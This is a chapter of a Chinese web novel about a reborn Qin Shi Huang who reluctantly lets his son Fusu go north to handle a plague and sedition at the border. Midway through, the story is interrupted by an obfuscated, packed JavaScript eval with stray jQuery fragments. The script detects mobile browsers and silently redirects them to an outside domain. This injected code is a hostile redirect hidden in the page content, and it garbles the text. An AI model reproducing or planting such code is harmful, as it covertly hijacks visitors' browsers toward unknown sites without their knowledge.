文趣网 > 其他小说 > 陛下他总在心疼长子 > 15. 等待进入网审
    殿外传谒内侍踏雪而入,捧着三道封缄加急军报,神色紧绷跪伏锦毯。

    “启禀陛下,上郡六百里急递,三道军报同至。”

    嬴政眉峰骤然一沉,抬手示意内侍呈卷。

    三道简牍封泥皆沾寒冻霜气,一道是蒙恬亲笔,言长城戍卒骤发时疫,高热咳喘蔓延四座堡垒,军医无策,士卒日损数十,粮草运道暴雪阻断,药材辎重滞于北地郡。

    第二道是北地郡守密奏,沿途六国旧族流民混杂运粮队伍,已有民夫染疾逃回郡县,恐祸乱关内。

    第三道隐字密报,乃嬴政安插在军中的暗卫所写,字句隐晦点出。

    军中部分关东籍戍卒私传流言,称秦政失德,天降疫灾惩戒大秦。

    扶苏垂首立于一侧,目光扫过密报上“关东流言”四字,心底瞬间厘清其中利害。

    北疆瘟疫从来不止边军疾苦一桩,更是朝堂各方势力博弈的棋子。

    李斯力主严刑连坐管控六国旧民,此刻边关生乱,丞相一系必会借机进言,重罚关东流民,收紧郡县法度。

    中车府令赵高久随胡亥,素来忌惮扶苏与蒙氏兵权相连,必定暗中煽风,称长公子不宜远涉险地,恐借机私掌三十万大军。

    潜藏关中的楚、齐旧贵族更会借瘟疫造势,散播天命动摇民心,伺机复辟。

    嬴政将三道军报逐一阅毕,随手置在案上,玉镇纸重重一叩,声响在静殿内震开。

    “蒙恬双线承压,北抗匈奴,内控时疫,分身乏术,关内诸臣各怀心思,只盯着权柄利弊,无一人着眼北疆数十万将士性命。”

    扶苏缓步上前,指尖虚点舆图上咸阳至上郡的驿道,语声清润:“陛下,眼下困局分三层,其一,时疫横行,营帐密集极易交叉染病,无主事之人统筹隔离,防线随时溃散。”

    他抬眸不经意观察,停顿两秒左右:“其二,关东流言四起,六国旧族借灾异攻讦郡县制,若处置过激,关东诸郡即刻生乱,其三,朝中派系各有盘算,李斯欲借灾情推重刑,赵高恐臣借北疆兵权坐大储君之势,二者一刚一阴,皆会从中掣肘边防调度。”

    嬴政侧眸看他。

    前世扶苏只懂仁心劝谏,不懂拆解朝堂各方利害,而今经兰台连日传授权术,少年已然能一眼看透灾事背后的朝堂博弈。

    可欣慰之下,是忌惮。

    前世扶苏明明不是这样的。

    “朕已有调度,太医署半数医者即刻北上,北地郡府库药材尽数发往长城,另遣御史持朕符节督军防疫,约束流民流言。”

    嬴政语气笃定,堵死扶苏请命的前路,“你留咸阳,随朕坐镇中枢,户籍改制、安抚楚齐旧族两件要务,缺一不可。”

    扶苏并未退让,转身取来方才翻阅的郡县简册,摊开在舆图旁:“御史无兵权,难以压制军营关东戍卒流言,蒙将军手握重兵,却不便亲自处置流言之事,稍有举动便会落人口实,被李斯弹劾武将干政。”

    “儿臣曾监上郡,蒙恬信得过,军中大小将官半数熟识,以长公子身份前去,一则可居中统筹防疫,二则能安抚关东士卒,压下灾异谣言,三则可暗中探查旧族流民混入军营的脉络,阻断关内复辟势力与北疆戍卒勾连。”

    他顿了顿,抬眸直视嬴政:“再者,赵高、李斯如今各有顾忌,臣若安居咸阳,二人只会轮番上书拉扯,李斯求严刑、赵高构陷臣拥兵之心。”

    “臣亲赴北疆,一则避开关廷纷争,让陛下居中制衡两相,二则手握实地兵权,断了赵高日后矫诏乱政的根基,三则实地掌握关东流民实情,回来再与陛下商议宽严并济之法,不至于偏听李斯一面之词,激反黔首。”

    怎么会转变成这样……

    他分明看见,扶苏已然融会贯通。

    可越是知晓扶苏前去是最优政局解法,心底那份跨越生死的恐惧便越汹涌。

    他清楚北疆前世没有这种事发生。

    怎么会。

    “你可知赵高暗中在北地驿道安插亲信?”嬴政压低声,道出隐情。

    “你离咸阳,他必会借灾情递折,称储君擅离中枢、私揽边军,联合宗室庶子向朕进谗,李斯亦会顺势请旨,借管控流民之名,在沿途增设关卡,牵制你调度粮草药材。”

    扶苏从容颔首,早有筹谋:“儿臣动身之前,可请陛下当庭下诏,明言遣长公子督军防疫,持半枚虎符协同蒙恬守边,昭告天下储君监边乃是朕授意,如此一来,赵高、李斯所有谗言皆不攻自破,宗室庶子无人敢附和。”

    他顿了顿:“至于关卡牵制,儿臣随身带兰台调令,凡北疆军需物资,郡县不得阻拦,违者以贻误军法论罪。”

    嬴政脸色沉沉,他游走大殿两侧书架,指尖抚过层层六国密档。

    留扶苏在咸阳,朝堂制衡稳妥,可北疆防线危殆,流言扩散恐动摇帝国根基。

    放扶苏北上,边防难题迎刃而解,却要将自己唯一的储君,送入遍布眼线、瘟疫横行的险地。

    帝王之道本是取舍二字,可这一次,取舍一端是万里江山,一端是失而复得的骨肉,他迟迟难下决断。

    扶苏静立等候。

    良久,少年放缓语气,补充一道周全的制衡之策:“陛下大可放心,咸阳后方朕已安排妥当,户籍改制章程誊录两份,一份留兰台,一份交冯去疾暂理。”

    “楚地安抚之策,每三日快马传报北疆,臣事事请旨而行,绝不独断专行,蒙恬麾下三十万大军,无陛下全虎符,调不动一兵一卒,儿臣此行只安抚流言,不涉大规模军事调度,断了赵高构陷拥兵作乱的由头。”

    嬴政转过身,玄色锦袍下摆扫过锦毯,眼底偏执的担忧与帝王理智反复交锋。

    他清楚扶苏所言句句属实,满朝文武,再无第二人能兼顾边防防疫与朝堂制衡。

    可只要一想到塞外风雪、染疫士卒、暗处潜藏的杀机,前世扶苏孤身接诏自尽的画面便死死缠上心神。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574148|203841||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “朝中纷争朕可压,边关隐患朕可遣兵肃清,不必你以身涉险。”嬴政语气带着不容置喙的强硬,“储君根基在咸阳朝堂,不在北疆荒野。”

    扶苏微微躬身,礼数周全,立场却分毫不动:“陛下,储君根基从不是深宫殿宇,是军心、民心,如今边军为国戍边染疫受难,长公子安居咸阳,关东百姓、北疆士卒如何信服?”

    “赵高日后若再散布‘储君薄情惜命’的流言,彼时百口莫辩。唯有亲赴上郡,方能固军心、堵谗言、安天下,此乃长远权谋,非一时仁善。”

    一句话点醒嬴政,但他也不是不知道,只不过他重生之后一心护子。

    帝王权衡良久,周身凌厉威压缓缓散去,取而代之的是化不开的沉重不舍。

    “你心智远胜从前,朕拦不住你。”嬴政嗓音沙哑,终是松口。

    “朕准你督军上郡,但约法三章,其一,每日一封密信直达兰台,军中疫病、眼线异动、赵高李斯动向,事无巨细悉数上报。”

    嬴政细微叹了气:“其二,五百黑铁锐士贴身护卫,蒙恬须分三千精锐守在公子行营,但凡营中出现疑似刺客、不明流民,即刻锁拿审讯,其三,太医队伍抵达、疫病控住三成,即刻返程,不得拖延。”

    扶苏躬身领旨:“儿臣遵旨。”

    话音未落,嬴政跨步上前,一把将人揽入怀中。

    这拥抱无关温情缱绻,藏着帝王隐忍的后怕与沉甸甸的托付,臂膀收得极紧,将扶苏牢牢扣在胸前,玄色袍服裹住少年单薄身形。

    殿外风雪呼啸入耳,隐约似边关戍卒的咳喘之声,嬴政下颌抵在扶苏发顶,声音压得极低,唯有二人能听见。

    “如今朕放你走,朝中赵高、李斯虎视眈眈,关外旧族伺机而动,北疆暗处杀机四伏,万事莫逞仁心,先保自身周全,你若出事,朕倾尽天下,也要斩尽所有牵涉之人。”

    扶苏脊背微僵,心中明了。

    少年轻声回应:“儿臣谨记权谋制衡之道,谨守陛下约法,必平安归咸阳,稳固储君之位,助陛下镇住朝堂内外所有隐患。”

    嬴政良久才缓缓松开,指尖抚过扶苏下颌。

    “明日破晓启程?”嬴政问。

    “越早动身,越早遏制流言扩散,不给赵高、旧族借灾情造势的机会。”扶苏答得干脆。

    嬴政颔首,转身走向长案,亲手调配兰台专属密印交予扶苏,又取出一卷标注赵高北地眼线名单的帛书,递到少年手中。

    “沿途但凡遇上名单上之人,不必留情,交由随行锐士拘押送回咸阳审讯,借此挖出赵高暗中勾结关外旧族的证。”

    扶苏接过帛书,指尖抚过密密麻麻的姓名。

    嬴政望着扶苏望向北方的坚定侧影:“万事谋定而后动,切莫孤身涉险,咸阳兰台,永远是你的退路。”

    扶苏垂眸拱手,礼数沉稳,眼底藏着储君的城府与骨肉牵挂:“儿臣绝不负陛下托付。”